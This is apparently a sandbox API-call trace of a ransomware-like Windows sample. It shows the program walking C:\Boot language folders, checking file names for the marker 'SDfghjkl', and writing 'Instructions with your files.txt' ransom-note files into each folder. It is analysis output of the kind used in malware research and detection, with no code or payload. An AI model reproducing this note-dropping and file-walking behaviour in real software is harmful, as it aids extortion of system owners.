[0111.985] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\..") returned 20
[0111.985] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.985] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33
[0111.988] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.988] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\Instructions with your files.txt") returned 50
[0111.988] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.988] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.988] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\Instructions with your files.txt") returned 50
[0111.988] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\Instructions with your files.txt" (normalized: "c:\\boot\\ru-ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.989] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.990] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.990] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.990] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.990] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.990] CloseHandle (hObject=0x108) returned 1
[0111.991] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.991] GetProcessHeap () returned 0x810000
[0111.991] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.991] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
[0111.991] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE") returned 17
[0111.991] GetProcessHeap () returned 0x810000
[0111.991] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\*") returned 19
[0111.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\.") returned 19
[0111.991] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\..") returned 20
[0111.991] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 33
[0111.991] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.991] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\Instructions with your files.txt") returned 50
[0111.991] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.991] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.991] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE\\Instructions with your files.txt") returned 50
[0111.991] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\Instructions with your files.txt" (normalized: "c:\\boot\\sv-se\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.992] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.993] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.993] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.993] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.993] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.993] CloseHandle (hObject=0x108) returned 1
[0111.993] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.993] GetProcessHeap () returned 0x810000
[0111.993] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.993] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
[0111.993] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR") returned 17
[0111.993] GetProcessHeap () returned 0x810000
[0111.993] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.993] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\*") returned 19
[0111.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\.") returned 19
[0111.995] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\..") returned 20
[0111.995] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 33
[0111.995] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.995] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\Instructions with your files.txt") returned 50
[0111.995] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.995] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR\\Instructions with your files.txt") returned 50
[0111.995] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\Instructions with your files.txt" (normalized: "c:\\boot\\tr-tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.997] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.997] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.998] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.998] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.998] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.998] CloseHandle (hObject=0x108) returned 1
[0111.998] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.998] GetProcessHeap () returned 0x810000
[0111.998] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.998] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
[0111.998] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN") returned 17
[0111.998] GetProcessHeap () returned 0x810000
[0111.998] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.998] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\*") returned 19
[0111.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.998] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\.") returned 19
[0111.998] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.998] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\..") returned 20
[0111.998] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.998] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 33
[0111.999] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.999] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.999] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\Instructions with your files.txt") returned 50
[0111.999] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.999] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.999] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-CN\\Instructions with your files.txt") returned 50
[0111.999] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0112.000] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0112.001] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0112.001] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0112.001] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0112.001] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0112.001] CloseHandle (hObject=0x108) returned 1
[0112.002] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0112.002] GetProcessHeap () returned 0x810000
[0112.002] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0112.002] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
[0112.002] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK") returned 17
[0112.002] GetProcessHeap () returned 0x810000
[0112.002] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0112.002] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\zh-HK\\*") returned 19
